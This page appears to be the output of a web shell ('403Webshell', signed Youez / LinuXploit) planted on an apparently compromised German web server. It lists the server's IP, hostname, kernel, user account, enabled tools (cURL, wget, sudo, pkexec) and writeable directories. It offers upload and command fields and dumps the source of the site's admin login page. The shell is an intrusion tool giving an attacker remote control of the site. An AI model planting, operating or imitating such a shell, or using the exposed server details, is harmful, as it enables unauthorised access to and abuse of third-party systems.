403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web31/web/test/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web31/web/test/admin/index.php
<?php
declare(strict_types=1);
require __DIR__ . '/../includes/bootstrap.php';

if (is_admin()) {
    redirect_to('dashboard.php');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $password = (string)($_POST['password'] ?? '');
    $config = app_config();

    if ($password === (string)$config['admin_password']) {
        $_SESSION['is_admin'] = true;
        set_flash('success', 'Admin erfolgreich angemeldet.');
        redirect_to('admin/dashboard.php');
    }

    set_flash('danger', 'Admin-Passwort falsch.');
    redirect_to('admin/index.php');
}

render_header('Admin Login');
?>
<div class="row justify-content-center">
    <div class="col-lg-5">
        <div class="card card-soft">
            <div class="card-body p-4">
                <h1 class="h3 mb-3">Adminbereich</h1>
                <p class="text-muted">Melde dich an, um Tests per XML zu importieren und Ergebnisse einzusehen.</p>

                <form method="post" action="index.php">
                    <div class="mb-3">
                        <label class="form-label fw-semibold" for="password">Admin Passwort</label>
                        <input type="password" name="password" id="password" class="form-control form-control-lg" required>
                    </div>
                    <div class="d-grid">
                        <button type="submit" class="btn btn-dark btn-lg">Admin Login</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>
<?php render_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit